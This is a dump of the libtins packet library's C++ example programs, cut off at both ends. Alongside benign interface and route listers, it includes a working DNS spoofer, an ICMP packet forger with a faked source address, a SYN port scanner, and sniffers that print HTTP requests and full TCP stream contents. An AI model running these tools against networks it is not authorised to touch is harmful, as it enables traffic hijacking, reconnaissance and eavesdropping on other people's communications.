DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include #include using std::cout; using std::endl; using namespace Tins; PacketSender sender; bool callback(const PDU& pdu) { // The packet probably looks like this: // // EthernetII / IP / UDP / RawPDU // // So we retrieve each layer, and construct a // DNS PDU from the RawPDU layer contents. EthernetII eth = pdu.rfind_pdu(); IP ip = eth.rfind_pdu(); UDP udp = ip.rfind_pdu(); DNS dns = udp.rfind_pdu().to(); // Is it a DNS query? if (dns.type() == DNS::QUERY) { // Let's see if there's any query for an "A" record. for (const auto& query : dns.queries()) { if (query.query_type() == DNS::A) { // Here's one! Let's add an answer. dns.add_answer( DNS::Resource( query.dname(), "127.0.0.1", DNS::A, query.query_class(), // 777 is just a random TTL 777 ) ); } } // Have we added some answers? if (dns.answers_count() > 0) { // It's a response now dns.type(DNS::RESPONSE); // Recursion is available(just in case) dns.recursion_available(1); // Build our packet auto pkt = EthernetII(eth.src_addr(), eth.dst_addr()) / IP(ip.src_addr(), ip.dst_addr()) / UDP(udp.sport(), udp.dport()) / dns; // Send it! sender.send(pkt); } } return true; } int main(int argc, char* argv[]) { if(argc != 2) { cout << "Usage: " <<* argv << " " << endl; return 1; } // Sniff on the provided interface in promiscuos mode SnifferConfiguration config; config.set_promisc_mode(true); // Only capture udp packets sent to port 53 config.set_filter("udp and dst port 53"); Sniffer sniffer(argv[1], config); // All packets will be sent through the provided interface sender.default_interface(argv[1]); // Start the capture sniffer.sniff_loop(callback); } libtins-3.4/examples/dns_stats.cpp000066400000000000000000000145531267017344500173710ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #ifdef _WIN32 #define NOMINMAX #endif // _WIN32 // Fix for gcc 4.6 #define _GLIBCXX_USE_NANOSLEEP #include #include #include #include #include #include #include using std::cout; using std::endl; using std::thread; using std::string; using std::bind; using std::map; using std::mutex; using std::max; using std::min; using std::exception; using std::lock_guard; using std::tuple; using std::make_tuple; using std::this_thread::sleep_for; using std::chrono::seconds; using std::chrono::milliseconds; using std::chrono::duration_cast; using std::chrono::system_clock; using namespace Tins; // Holds the DNS response time statistics. The response time is // represented using the Duration template parameter. template class statistics { public: typedef Duration duration_type; typedef lock_guard locker_type; struct information { duration_type average, worst; size_t count; }; statistics() : m_duration(), m_worst(duration_type::min()), m_count() { } void add_response_time(const duration_type& duration) { locker_type _(m_lock); m_duration += duration; m_count++; m_worst = max(m_worst, duration); } information get_information() const { locker_type _(m_lock); if(m_count == 0) { return { }; } else { return { m_duration / m_count, m_worst, m_count }; } }; private: duration_type m_duration, m_worst; size_t m_count; mutable mutex m_lock; }; // Sniffs and tracks DNS queries. When a matching DNS response is found, // the response time is added to a statistics object. // // This class performs* no cleanup* on data associated with queries that // weren't answered. class dns_monitor { public: // The response times are measured in milliseconds typedef milliseconds duration_type; // The statistics type used. typedef statistics statistics_type; void run(BaseSniffer& sniffer); const statistics_type& stats() const { return m_stats; } private: typedef tuple packet_info; typedef system_clock clock_type; typedef clock_type::time_point time_point_type; bool callback(const PDU& pdu); static packet_info make_packet_info(const PDU& pdu, const DNS& dns); statistics_type m_stats; map m_packet_info; }; void dns_monitor::run(BaseSniffer& sniffer) { sniffer.sniff_loop( bind( &dns_monitor::callback, this, std::placeholders::_1 ) ); } bool dns_monitor::callback(const PDU& pdu) { auto now = clock_type::now(); auto dns = pdu.rfind_pdu().to(); auto info = make_packet_info(pdu, dns); // If it's a query, add the sniff time to our map. if (dns.type() == DNS::QUERY) { m_packet_info.insert( std::make_pair(info, now) ); } else { // It's a response, we need to find the query in our map. auto iter = m_packet_info.find(info); if (iter != m_packet_info.end()) { // We found the query, let's add the response time to the // statistics object. m_stats.add_response_time( duration_cast(now - iter->second) ); // Forget about the query. m_packet_info.erase(iter); } } return true; } // It is required that we can identify packets sent and received that // hold the same DNS id as belonging to the same query. // // This function retrieves a tuple (addr, addr, id) that will achieve it. auto dns_monitor::make_packet_info(const PDU& pdu, const DNS& dns) -> packet_info { const auto& ip = pdu.rfind_pdu(); return make_tuple( // smallest address first min(ip.src_addr(), ip.dst_addr()), // largest address second max(ip.src_addr(), ip.dst_addr()), dns.id() ); } int main(int argc, char* argv[]) { string iface; if (argc == 2) { // Use the provided interface iface = argv[1]; } else { // Use the default interface iface = NetworkInterface::default_interface().name(); } try { SnifferConfiguration config; config.set_promisc_mode(true); config.set_filter("udp and port 53"); Sniffer sniffer(iface, config); dns_monitor monitor; thread thread( [&]() { monitor.run(sniffer); } ); while (true) { auto info = monitor.stats().get_information(); cout << "\rAverage " << info.average.count() << "ms. Worst: " << info.worst.count() << "ms. Count: " << info.count << " "; cout.flush(); sleep_for(seconds(1)); } } catch (exception& ex) { cout << "[-] Error: " << ex.what() << endl; } } libtins-3.4/examples/http_requests.cpp000066400000000000000000000133311267017344500202720ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include #include #include #include #include "tins/tcp_ip/stream_follower.h" #include "tins/sniffer.h" using std::string; using std::cout; using std::cerr; using std::endl; using std::exception; using boost::regex; using boost::match_results; using Tins::PDU; using Tins::Sniffer; using Tins::SnifferConfiguration; using Tins::TCPIP::Stream; using Tins::TCPIP::StreamFollower; // This example captures and follows TCP streams seen on port 80. It will // wait until both the client and server send data and then apply a regex // to both payloads, extrating some information and printing it. // Don't buffer more than 3kb of data in either request/response const size_t MAX_PAYLOAD = 3 * 1024; // The regex to be applied on the request. This will extract the HTTP // method being used, the request's path and the Host header value. regex request_regex("([\\w]+) ([^ ]+).+\r\nHost: ([\\d\\w\\.-]+)\r\n"); // The regex to be applied on the response. This finds the response code. regex response_regex("HTTP/[^ ]+ ([\\d]+)"); void on_server_data(Stream& stream) { match_results client_match; match_results server_match; const Stream::payload_type& client_payload = stream.client_payload(); const Stream::payload_type& server_payload = stream.server_payload(); // Run the regexes on client/server payloads bool valid = regex_search(server_payload.begin(), server_payload.end(), server_match, response_regex) && regex_search(client_payload.begin(), client_payload.end(), client_match, request_regex); // If we matched both the client and the server regexes if (valid) { // Extract all fields string method = string(client_match[1].first, client_match[1].second); string url = string(client_match[2].first, client_match[2].second); string host = string(client_match[3].first, client_match[3].second); string response_code = string(server_match[1].first, server_match[1].second); // Now print them cout << method << " http://" << host << url << " -> " << response_code << endl; // Once we've seen the first request on this stream, ignore it stream.ignore_client_data(); stream.ignore_server_data(); } // Just in case the server returns invalid data, stop at 3kb if (stream.server_payload().size() > MAX_PAYLOAD) { stream.ignore_server_data(); } } void on_client_data(Stream& stream) { // Don't hold more than 3kb of data from the client's flow if (stream.client_payload().size() > MAX_PAYLOAD) { stream.ignore_client_data(); } } void on_new_connection(Stream& stream) { stream.client_data_callback(&on_client_data); stream.server_data_callback(&on_server_data); // Don't automatically cleanup the stream's data, as we'll manage // the buffer ourselves and let it grow until we see a full request // and response stream.auto_cleanup_payloads(false); } int main(int argc, char* argv[]) { if (argc != 2) { cout << "Usage: " << argv[0] << " " << endl; return 1; } try { // Construct the sniffer configuration object SnifferConfiguration config; // Get packets as quickly as possible config.set_immediate_mode(true); // Only capture TCP traffic sent from/to port 80 config.set_filter("tcp port 80"); // Construct the sniffer we'll use Sniffer sniffer(argv[1], config); cout << "Starting capture on interface " << argv[1] << endl; // Now construct the stream follower StreamFollower follower; // We just need to specify the callback to be executed when a new // stream is captured. In this stream, you should define which callbacks // will be executed whenever new data is sent on that stream // (see on_new_connection) follower.new_stream_callback(&on_new_connection); // Now start capturing. Every time there's a new packet, call // follower.process_packet sniffer.sniff_loop([&](PDU& packet) { follower.process_packet(packet); return true; }); } catch (exception& ex) { cerr << "Error: " << ex.what() << endl; return 1; } } libtins-3.4/examples/icmp_responses.cpp000066400000000000000000000117601267017344500204150ustar00rootroot00000000000000/* * Copyright (c) 2015, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include #include #include #include #include using std::cout; using std::endl; using std::bind; using std::string; using std::runtime_error; using std::exception; using namespace Tins; // This class captured packets on an interface, using the specified filter // and will respond with ICMP error packets whenever a packet is captured. // The response mechanism is pretty naive as it generates a packet which // has swapped HW and IP addresses (dst as src, src as dst). class ICMPResponder { public: // Use the given interface and ICMP type/code on responses ICMPResponder(string iface, int type, int code) : m_iface(iface), m_sender(iface), m_type(type), m_code(code) { } // Run using the given filter void run(const string& filter) { // Initialize the configuration SnifferConfiguration config; // Use promiscuous mode config.set_promisc_mode(true); // Use this packet filter config.set_filter(filter); // Use immediate mode (we don't want to buffer packets, we want the mright away). config.set_immediate_mode(true); // Now create the Sniffer Sniffer sniffer(m_iface, config); if (sniffer.link_type() != DLT_EN10MB) { throw runtime_error("Ethernet interfaces only supported"); } // Start the sniffing! For each packet, ICMPReponder::callback will be called sniffer.sniff_loop(bind(&ICMPResponder::callback, this, std::placeholders::_1)); } private: // Extracts the payload to be used over the ICMP layer in the response. // This will be the entire IP header + 8 bytes of the next header. RawPDU extract_icmp_payload(IP& pdu) { PDU::serialization_type buffer = pdu.serialize(); // Use whole IP + 8 bytes of next header. size_t end_index = pdu.header_size() + 8; return RawPDU(buffer.begin(), buffer.begin() + end_index); } // Generates an ICMP response given a packet. EthernetII generate_response(PDU& pdu) { // Find Ethernet and IP headers. EthernetII& received_eth = pdu.rfind_pdu(); IP& received_ip = pdu.rfind_pdu(); // Create an Ethernet response, flipping the addresses EthernetII output(received_eth.src_addr(), received_eth.dst_addr()); // Append an IP PDU, again flipping addresses. //output /= IP(received_ip.src_addr(), received_ip.dst_addr()); output /= IP(received_ip.src_addr(), "8.8.8.8"); // Now generate the ICMP layer using the type and code provided. ICMP icmp; icmp.type(static_cast(m_type)); icmp.code(m_code); // Append the ICMP layer to our packet output /= icmp; // Extract the payload to be used over ICMP. output /= extract_icmp_payload(received_ip); return output; } // Packet capture callback bool callback(PDU& pdu) { // Generate a response for this packet EthernetII response = generate_response(pdu); // Send this packet! m_sender.send(response); return true; } string m_iface; PacketSender m_sender; int m_type; int m_code; }; int main(int argc, char* argv[]) { const int type = 3; const int code = 0; if (argc < 3) { cout << "Usage: " << argv[0] << " " << endl; return 1; } string iface = argv[1]; string filter = argv[2]; try { ICMPResponder responder(iface, type, code); responder.run(filter); } catch (exception& ex) { cout << "Error: " << ex.what() << endl; } }libtins-3.4/examples/interfaces_info.cpp000066400000000000000000000063231267017344500205210ustar00rootroot00000000000000/* * Copyright (c) 2015, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include #include #include #include using std::cout; using std::wcout; using std::endl; using std::string; using std::ostringstream; using namespace Tins; int main() { // Get all interfaces and iterate over them. for (const NetworkInterface& iface : NetworkInterface::all()) { // Get the name of this interface string name = iface.name(); // "stringify" the status of the interface string status = iface.is_up() ? "up" : "down"; // Get this interface's information (addresses). NetworkInterface::Info info = iface.info(); // Now print all of this info. cout << name; #ifdef _WIN32 // If this is running on Windows, also print the friendly name wcout << " (" << iface.friendly_name() << ")"; #endif // _WIN32 cout << ": " << endl; string ipv6_string; if (info.ipv6_addrs.empty()) { ipv6_string = "(none)"; } else { ostringstream oss; for (size_t i = 0; i < info.ipv6_addrs.size(); ++i) { const NetworkInterface::IPv6Prefix& prefix = info.ipv6_addrs[i]; if (i > 0) { oss << ", "; } oss << prefix.address << "/" << prefix.prefix_length; } ipv6_string = oss.str(); } cout << " HW address: " << info.hw_addr << endl << " IP address: " << info.ip_addr << endl << " IPv6 addresses: " << ipv6_string << endl << " Netmask: " << info.netmask << endl << " Broadcast: " << info.bcast_addr << endl << " Iface index: " << iface.id() << endl << " Status: " << "interface " << status << endl << endl; } }libtins-3.4/examples/portscan.cpp000066400000000000000000000142341267017344500172140ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include using std::cout; using std::endl; using std::vector; using std::pair; using std::setw; using std::string; using std::set; using std::runtime_error; using namespace Tins; typedef pair sniffer_data; class Scanner { public: Scanner(const NetworkInterface& interface, const IPv4Address& address, const vector& ports); void run(); private: void send_syns(const NetworkInterface& iface, IPv4Address dest_ip); bool callback(PDU& pdu); static void* thread_proc(void* param); void launch_sniffer(); NetworkInterface iface; IPv4Address host_to_scan; set ports_to_scan; Sniffer sniffer; }; Scanner::Scanner(const NetworkInterface& interface, const IPv4Address& address, const vector& ports) : iface(interface), host_to_scan(address), sniffer(interface.name()) { sniffer.set_filter( "tcp and ip src " + address.to_string() + " and tcp[tcpflags] & (tcp-rst|tcp-syn) != 0" ); for (size_t i = 0; i < ports.size(); ++i) { ports_to_scan.insert(atoi(ports[i].c_str())); } } void* Scanner::thread_proc(void* param) { Scanner* data = (Scanner*)param; data->launch_sniffer(); return 0; } void Scanner::launch_sniffer() { sniffer.sniff_loop(make_sniffer_handler(this, &Scanner::callback)); } /* Our scan handler. This will receive SYNs and RSTs and inform us * the scanned port's status. */ bool Scanner::callback(PDU& pdu) { // Find the layers we want. const IP& ip = pdu.rfind_pdu(); const TCP& tcp = pdu.rfind_pdu(); // Check if the host that we're scanning sent this packet and // the source port is one of those that we scanned. if(ip.src_addr() == host_to_scan && ports_to_scan.count(tcp.sport()) == 1) { // Ok, it's a TCP PDU. Is RST flag on? Then port is closed. if(tcp.get_flag(TCP::RST)) { // This indicates we should stop sniffing. if(tcp.get_flag(TCP::SYN)) return false; cout << "Port: " << setw(5) << tcp.sport() << " closed\n"; } // Is SYN flag on? Then port is open! else if(tcp.flags() == (TCP::SYN | TCP::ACK)) { cout << "Port: " << setw(5) << tcp.sport() << " open\n"; } } return true; } void Scanner::run() { pthread_t thread; // Launch our sniff thread. pthread_create(&thread, 0, &Scanner::thread_proc, this); // Start sending SYNs to port. send_syns(iface, host_to_scan); // Wait for our sniffer. void* dummy; pthread_join(thread, &dummy); } // Send syns to the given ip address, using the destination ports provided. void Scanner::send_syns(const NetworkInterface& iface, IPv4Address dest_ip) { // Retrieve the addresses. NetworkInterface::Info info = iface.addresses(); PacketSender sender; // Allocate the IP PDU IP ip = IP(dest_ip, info.ip_addr) / TCP(); // Get the reference to the TCP PDU TCP& tcp = ip.rfind_pdu(); // Set the SYN flag on. tcp.set_flag(TCP::SYN, 1); // Just some random port. tcp.sport(1337); cout << "Sending SYNs..." << endl; for (set::const_iterator it = ports_to_scan.begin(); it != ports_to_scan.end(); ++it) { // Set the new port and send the packet! tcp.dport(*it); sender.send(ip); } // Wait 1 second. sleep(1); /* Special packet to indicate that we're done. This will be sniffed * by our function, which will in turn return false. */ tcp.set_flag(TCP::RST, 1); tcp.sport(*ports_to_scan.begin()); // Pretend we're the scanned host... ip.src_addr(dest_ip); // We use an ethernet pdu, otherwise the kernel will drop it. EthernetII eth = EthernetII(info.hw_addr, info.hw_addr) / ip; sender.send(eth, iface); } void scan(int argc, char* argv[]) { IPv4Address ip(argv[1]); // Resolve the interface which will be our gateway NetworkInterface iface(ip); cout << "Sniffing on interface: " << iface.name() << endl; // Consume arguments argv += 2; argc -= 2; Scanner scanner(iface, ip, vector(argv, argv + (argc))); scanner.run(); } int main(int argc, char* argv[]) { if (argc < 3) { cout << "Usage: " <<* argv << " [port2] [port3]" << endl; return 1; } try { scan(argc, argv); } catch(runtime_error& ex) { cout << "Error - " << ex.what() << endl; } } libtins-3.4/examples/route_table.cpp000066400000000000000000000040251267017344500176650ustar00rootroot00000000000000/* * Copyright (c) 2015, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include #include #include #include using std::cout; using std::endl; using std::setw; using std::vector; using namespace Tins; int main() { vector entries = Utils::route_entries(); for (size_t i = 0; i < entries.size(); ++i) { cout << "Entry " << setw(2) << i << ": " << endl << "Interface: " << entries[i].interface << endl << "Destination: " << entries[i].destination << endl << "Gateway: " << entries[i].gateway << endl << "Genmask: " << entries[i].mask << endl << "Metric: " << entries[i].metric << endl << endl; } }libtins-3.4/examples/stream_dump.cpp000066400000000000000000000136061267017344500177050ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include #include #include "tins/tcp_ip/stream_follower.h" #include "tins/sniffer.h" #include "tins/packet.h" #include "tins/ip_address.h" #include "tins/ipv6_address.h" using std::cout; using std::cerr; using std::endl; using std::bind; using std::string; using std::to_string; using std::ostringstream; using std::exception; using Tins::Sniffer; using Tins::SnifferConfiguration; using Tins::PDU; using Tins::TCPIP::StreamFollower; using Tins::TCPIP::Stream; // This example takes an interface and a port as an argument and // it listens for TCP streams on the given interface and port. // It will reassemble TCP streams and show the traffic sent by // both the client and the server. // Convert the client endpoint to a readable string string client_endpoint(const Stream& stream) { ostringstream output; // Use the IPv4 or IPv6 address depending on which protocol the // connection uses if (stream.is_v6()) { output << stream.client_addr_v6(); } else { output << stream.client_addr_v4(); } output << ":" << stream.client_port(); return output.str(); } // Convert the server endpoint to a readable string string server_endpoint(const Stream& stream) { ostringstream output; if (stream.is_v6()) { output << stream.server_addr_v6(); } else { output << stream.server_addr_v4(); } output << ":" << stream.server_port(); return output.str(); } // Concat both endpoints to get a readable stream identifier string stream_identifier(const Stream& stream) { ostringstream output; output << client_endpoint(stream) << " - " << server_endpoint(stream); return output.str(); } // Whenever there's new client data on the stream, this callback is executed. void on_client_data(Stream& stream) { // Construct a string out of the contents of the client's payload string data(stream.client_payload().begin(), stream.client_payload().end()); // Now print it, prepending some information about the stream cout << client_endpoint(stream) << " >> " << server_endpoint(stream) << ": " << endl << data << endl; } // Whenever there's new server data on the stream, this callback is executed. // This does the same thing as on_client_data void on_server_data(Stream& stream) { string data(stream.server_payload().begin(), stream.server_payload().end()); cout << server_endpoint(stream) << " >> " << client_endpoint(stream) << ": " << endl << data << endl; } // When a connection is closed, this callback is executed. void on_connection_closed(Stream& stream) { cout << "[+] Connection closed: " << stream_identifier(stream) << endl; } // When a new connection is captured, this callback will be executed. void on_new_connection(Stream& stream) { // Print some information about the new connection cout << "[+] New connection " << stream_identifier(stream) << endl; // Now configure the callbacks on it. // First, we want on_client_data to be called every time there's new client data stream.client_data_callback(&on_client_data); // Same thing for server data, but calling on_server_data stream.server_data_callback(&on_server_data); // When the connection is closed, call on_connection_closed stream.stream_closed_callback(&on_connection_closed); } int main(int argc, char* argv[]) { if (argc != 3) { cout << "Usage: " << argv[0] << " " << endl; return 1; } try { // Construct the sniffer configuration object SnifferConfiguration config; // Only capture TCP traffic sent from/to the given port config.set_filter("tcp port " + to_string(stoi(string(argv[2])))); // Construct the sniffer we'll use Sniffer sniffer(argv[1], config); cout << "Starting capture on interface " << argv[1] << endl; // Now construct the stream follower StreamFollower follower; // We just need to specify the callback to be executed when a new // stream is captured. In this stream, you should define which callbacks // will be executed whenever new data is sent on that stream // (see on_new_connection) follower.new_stream_callback(&on_new_connection); // Now start capturing. Every time there's a new packet, call // follower.process_packet sniffer.sniff_loop([&](PDU& packet) { follower.process_packet(packet); return true; }); } catch (exception& ex) { cerr << "Error: " << ex.what() << endl; return 1; } } libtins-3.4/examples/tcp_connection_close.cpp000066400000000000000000000073011267017344500215520ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, 